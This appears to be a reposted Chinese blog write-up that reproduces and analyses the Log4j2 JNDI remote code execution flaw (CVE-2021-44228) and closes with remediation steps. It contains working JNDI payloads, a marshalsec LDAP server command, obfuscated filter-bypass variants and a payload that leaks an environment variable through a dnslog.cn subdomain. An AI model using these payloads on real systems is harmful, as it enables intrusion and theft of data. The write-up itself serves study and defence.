log4j2 rce

news/2025/2/28 19:42:27/文章来源:https://www.cnblogs.com/yingzui/p/18629620

log4j2 rce

介绍

Apache Log4j2是一个基于Java的日志记录工具。该工具重写了Log4j框架,并且引入了大量丰富的特性。该日志框架被大量用于业务系统开发,用来记录日志信息。大多数情况下,开发者可能会将用户输入导致的错误信息写入日志中。

由于Apache Log4j2某些功能存在递归解析功能,攻击者可直接构造恶意请求,触发远程代码执行漏洞。漏洞利用无需特殊配置,经阿里云安全团队验证,Apache Struts2、Apache Solr、Apache Druid、Apache Flink等均受影响。

此次漏洞触发条件为只要外部用户输入的数据会被日志记录,即可造成远程代码执行。(CNVD-2021-95914、CVE-2021-44228)

影响版本

Apache Log4j 2.x <= 2.15.0-rc1

2.15.0-rc1 存在补丁绕过,但是很鸡肋

复现

Java版本是:8u20

首先新建一个maven项目,pom如下:api不是必需的

        <!-- https://mvnrepository.com/artifact/org.apache.logging.log4j/log4j-core --><dependency><groupId>org.apache.logging.log4j</groupId><artifactId>log4j-core</artifactId><version>2.14.1</version></dependency><!-- https://mvnrepository.com/artifact/org.apache.logging.log4j/log4j-api --><dependency><groupId>org.apache.logging.log4j</groupId><artifactId>log4j-api</artifactId><version>2.14.1</version></dependency>

代码如下:

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;public class Test {private static final Logger logger = LogManager.getLogger(Test.class);public static void main(String[] args) {
//        logger.error("${jndi:ldap://${env:LOGNAME}.rkk7jq.dnslog.cn}");logger.error("${jndi:ldap://127.0.0.1:1389/aaa}");}
}

启动Ldap服务器

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:8000/#Exploit

在exp目录下启动http服务

结果如下:

漏洞原理

我们知道执行命令是在Runtime.getRuntime().exec(),我们直接在exec方法下断点,得到调用栈

调用栈如下:

exec:485, Runtime (java.lang)
<init>:-1, ExploitgJlWqLWBF3
newInstance0:-1, NativeConstructorAccessorImpl (sun.reflect)
newInstance:62, NativeConstructorAccessorImpl (sun.reflect)
newInstance:45, DelegatingConstructorAccessorImpl (sun.reflect)
newInstance:423, Constructor (java.lang.reflect)
newInstance:442, Class (java.lang)
getObjectFactoryFromReference:163, NamingManager (javax.naming.spi)
getObjectInstance:189, DirectoryManager (javax.naming.spi)
c_lookup:1085, LdapCtx (com.sun.jndi.ldap)
p_lookup:542, ComponentContext (com.sun.jndi.toolkit.ctx)
lookup:177, PartialCompositeContext (com.sun.jndi.toolkit.ctx)
lookup:205, GenericURLContext (com.sun.jndi.toolkit.url)
lookup:94, ldapURLContext (com.sun.jndi.url.ldap)
lookup:417, InitialContext (javax.naming)
lookup:172, JndiManager (org.apache.logging.log4j.core.net)
lookup:56, JndiLookup (org.apache.logging.log4j.core.lookup)
lookup:221, Interpolator (org.apache.logging.log4j.core.lookup)
resolveVariable:1110, StrSubstitutor (org.apache.logging.log4j.core.lookup)
substitute:1033, StrSubstitutor (org.apache.logging.log4j.core.lookup)
substitute:912, StrSubstitutor (org.apache.logging.log4j.core.lookup)
replace:467, StrSubstitutor (org.apache.logging.log4j.core.lookup)
format:132, MessagePatternConverter (org.apache.logging.log4j.core.pattern)
format:38, PatternFormatter (org.apache.logging.log4j.core.pattern)
toSerializable:344, PatternLayout$PatternSerializer (org.apache.logging.log4j.core.layout)
toText:244, PatternLayout (org.apache.logging.log4j.core.layout)
encode:229, PatternLayout (org.apache.logging.log4j.core.layout)
encode:59, PatternLayout (org.apache.logging.log4j.core.layout)
directEncodeEvent:197, AbstractOutputStreamAppender (org.apache.logging.log4j.core.appender)
tryAppend:190, AbstractOutputStreamAppender (org.apache.logging.log4j.core.appender)
append:181, AbstractOutputStreamAppender (org.apache.logging.log4j.core.appender)
tryCallAppender:156, AppenderControl (org.apache.logging.log4j.core.config)
callAppender0:129, AppenderControl (org.apache.logging.log4j.core.config)
callAppenderPreventRecursion:120, AppenderControl (org.apache.logging.log4j.core.config)
callAppender:84, AppenderControl (org.apache.logging.log4j.core.config)
callAppenders:540, LoggerConfig (org.apache.logging.log4j.core.config)
processLogEvent:498, LoggerConfig (org.apache.logging.log4j.core.config)
log:481, LoggerConfig (org.apache.logging.log4j.core.config)
log:456, LoggerConfig (org.apache.logging.log4j.core.config)
log:63, DefaultReliabilityStrategy (org.apache.logging.log4j.core.config)
log:161, Logger (org.apache.logging.log4j.core)
tryLogMessage:2205, AbstractLogger (org.apache.logging.log4j.spi)
logMessageTrackRecursion:2159, AbstractLogger (org.apache.logging.log4j.spi)
logMessageSafely:2142, AbstractLogger (org.apache.logging.log4j.spi)
logMessage:2017, AbstractLogger (org.apache.logging.log4j.spi)
logIfEnabled:1983, AbstractLogger (org.apache.logging.log4j.spi)
error:740, AbstractLogger (org.apache.logging.log4j.spi)
main:9, Test

看到lookup()方法,先点过去

就是常规的jndi注入。

具体调用流程可以看这篇博客。

log4j2 RCE 分析 – 天下大木头 (wjlshare.com)

而log4j处理日志字符串的流程大概是这样的:

总结一下整个分析过程,也很简单

  1. 先判断内容中是否有${},然后截取${}中的内容,得到我们的恶意payload jndi:xxx
  2. 后使用:分割payload,通过前缀来判断使用何种解析器去lookup
  3. 支持的前缀包括date, java, marker, ctx, lower, upper, jndi, main, jvmrunargs, sys, env, log4j

在这里有一点要注意:

*此次漏洞触发条件为只要外部用户输入的数据会被日志记录,即可造成远程代码执行。

那么什么情况下会记录呢?

其实log4j在默认情况下等级是fatal和error才可以记录,其他日志等级也不是不能触发,修改一下日志记录等级,让它能够记录下来我们输入的payload,就可以触发漏洞了。

常规绕过

情况1-多个${}

先来分析一下多个${}的执行流程,Payload举例如下:

${aaa:${bbb:ccc}dd}${ee:ff}

简而言之,如果是${${}}这种类型的,会先处理内部的;如果是${}${}类型的,会依次处理。

情况2-分割符

payload1: ${aa:\\-bb}

就是把:\- 中的 \ 去掉了变成了:-

payload2:${aa:-bb}

从源码可以看出来,被:-分割成了前后两部分,前面的部分赋值给varName,后面部分赋值给varDefaultValue

  • varName会被传入到resolveVariable()进行解析,如果没有协议什么的,就会返回null
  • 如果resolveVariable()返回值为nullvarDefaultValue在后续的过程中也会递归调用substitute,最后会返回varDefaultValue的值。

简单来说就是看看aa是不是协议,如果不是协议就返回null,如果aa返回null的话,返回bb的值。

那么具体有哪些协议呢?

解析协议 说明
date: 日期时间(详情org.apache.logging.log4j.core.lookup.DateLookup#lookup
java: 一些JVM的信息(可用参数version、runtime、vm、os、hw、locale,详情org.apache.logging.log4j.core.lookup.JavaLookup#lookup
marker: 返回event.getMarker(),不知道具体干啥的
ctx:key 返回event.getContextData().getValue(key),就是获取上下文的数据
lower:KEY 返回字符串小写值
upper:key 返回字符串大写值
jndi: JNDI注入利用点,不多说了
main:key 返回((MapMessage) event.getMessage()).get(key),也是获取一些变量值
jvmrunargs: 没搞懂。。。
sys:key 返回一些系统属性:System.getProperty(key)
env:key 返回System.getenv(key)
log4j:key 返回一些log4j的配置信息,可用值configLocation、configParentLocation

绕过思路

现在知道了${}的执行流程,也知道了分割符的处理流程,那么怎么改造payload呢?

原始payload如下:

${jndi:ldap://127.0.0.1:1389/ccc}

改造后如下:

${${a:-j}ndi:ldap://127.0.0.1:1389/aaa}
${${a:-j}n${::-d}i:ldap://127.0.0.1:1389/aaa}
${${lower:jn}di:ldap://127.0.0.1:1389/aaa}
${${lower:${upper:jn}}di:ldap://127.0.0.1:1389/aaa}
${${lower:${upper:jn}}${::-di}:ldap://127.0.0.1:1389/aaa}

技巧

结合解析协议,我们可以用协议读取一些环境变量

payload:

${jndi:ldap://${env:LOGNAME}.eynz6t.dnslog.cn}

但是在这里我没有在dns记录里面成功看到,不知带为啥,调试之后是成功了的

修复建议

  1. 升级Apache Log4j2所有相关应用到最新的 log4j-2.15.0-rc2 版本
  2. 升级JDK版本,建议JDK使用11.0.1、8u191、7u201、6u211及以上的高版本,从根源上杜绝大部分常规的JNDI注入

临时措施

  1. 在jvm参数中添加 -Dlog4j2.formatMsgNoLookups=true 【针对 2.10.0 及以上的版本】
  2. 系统环境变量中将FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS设置为true 【针对 2.10.0 及以上的版本】
  3. 创建“log4j2.component.properties”文件,文件中增加配置“log4j2.formatMsgNoLookups=true” 【针对 2.10.0 及以上的版本】
  4. 限制受影响应用对外访问互联网

参考

06.log4j2_rce分析 · d4m1ts 知识库 (gm7.org)

https://drun1baby.github.io/2022/08/09/Log4j2复现/

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/858517.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

推荐一个C#轻量级矢量图形库

推荐一个轻量级矢量图形库,可用于生成 PDF、SVG、PNG等。 01 项目简介 VectSharp 是一个功能强大的 C# 库,专门用于创建矢量图形,包括文本,不依赖任何第三方,支持跨平台运行,包括 Mac、Windows 和 Linux。使得开发者可以更容易地在他们的项目中集成矢量图形的生成和处理。…

EasyExcel,被救了!

11月6日消息,阿里巴巴旗下的Java Excel工具库EasyExcel近日宣布,将停止更新,未来将逐步进入维护模式,将继续修复Bug,但不再主动新增功能。EasyExcel以其快速、简洁和解决大文件内存溢出的能力而著称,官方测试显示,仅需16M内存即可读取75M(46万行25列)的Excel文件,且耗…

批处理介绍

目录一、常用命令1.文件夹管理 2. 文件管理 3. 网络命令 4. 系统管理二、基本语法1. 注释 2. 变量 3. 判断 4. 循环 5. 函数 6. 文件操作 7. 字符串操作7.1 字符串连接 7.2 字符串截取 7.3 字符串查找: 7.4 字符串替换:8. 变量延迟三、基本指令1. rem 和 :: 2. echo 和 @ 3. …

GaussDB SQL查询语句执行过程解析

​ 前沿 SQL于关系型数据库而言,重要性不言而喻。就像一个乐团的指挥,指导着作品的正确演绎和节奏的和谐统一。华为云GaussDB作为新一代关系型分布式数据库,具备卓越的技术性能和行业竞争力。很多人对GaussDB的关键技术很好奇: GaussDB SQL语句到底是如何执行的? GaussDB …

GaussDB OM运维管理关键技术方案

GaussDB Kernel V5 OM运维管理关键模块如下。 OM 运维主要功能有:安装升级节点替换扩容、缩容自动告警巡检备份恢复、容灾日志分析系统在华为云的部署模式下,OM相关组件部署示意图如下:图7 华为云OM运维管理 用户登录华为云Console,访问GaussDB Kernel V5的管控页面,输入想…

Coordinate Spaces

Coordinate Spaces 本主题包含以下部分:根空间用户空间像素空间任何VisionPro图像支持一系列坐标空间,以提供一个数值框架来表达特定特征的位置。最有用的空间是根空间,它将点与原始获取图像中的像素相关联,以及用户空间,用于在标定和固定的空间中获取特征位置和测量值。 …

使用010进行手动加壳

删除PE_Overlay 找到最后一个节的区块,在那之后的数据全部删除掉。 其实不删掉也行,不过学习起来的时候就不方便区别最后一个节和Overlay了。 网上有资料说PE_Overlay指PE结构的最后一个节的末尾位置,通常用于存储自定义资源[!NOTE] PE结构的基础上,增加了处理逻辑代码+自定…

右键菜单添加复制完整路径和文件名

效果截图:注册表脚本实现 将以下注册表命令保存为 Clip.regWindows Registry Editor Version 5.00[HKEY_CLASSES_ROOT\*\shell\CopyFileUrl] @="复制完整路径和文件名(&F)"[HKEY_CLASSES_ROOT\*\shell\CopyFileUrl\command] @="cmd /q /c echo %1|clip.exe…

【Rust编程】如何用Rust构建Shellcode

Shellcode是一段可以直接执行的机器码,通常用于漏洞利用或攻击中。它们通常是极小的程序,能直接在目标内存中运行。Rust作为一种系统编程语言,可以用来编写高效、安全的Shellcode。以下是如何用Rust构建Shellcode的详细步骤。 1. 什么是Shellcode? Shellcode是一种直接执行…

如何解决域名转移过程中授权码错误的问题?

您在域名转移过程中遇到了授权码错误的问题。域名转移是一个相对复杂的过程,涉及到多个环节的验证和配置。为了帮助您顺利解决授权码错误的问题,以下是详细的排查步骤和解决方案。 1. 确认授权码格式 首先,确保您输入的授权码格式正确。授权码通常由字母和数字组成,长度固定…

manim边学边做--同伦变换

在Manim中,移动一个元素除了之前介绍的方法之外,还可以通过同伦运算来移动一个元素。 与普通的移动元素方式相比,使用同伦运算移动一个元素时,实际上是在考虑整个空间的连续变形过程中元素的相应变化。 这种移动不是孤立地看待元素的位置改变,而是将元素置于空间的整体结构…

破解多区域协作难题,打造无缝连接新生态,让企业效率倍增!

跨国公司在全球范围内拥有多个分支机构、生产基地和供应链,为了实现高效的运营和多区域协作,跨国公司需要建立稳定、安全的网络连接,确保不同地区之间的数据传输顺畅。例如,苹果、微软、可口可乐等全球知名企业均在全球范围内进行商品和服务的国际贸易、资本投资以及资产配…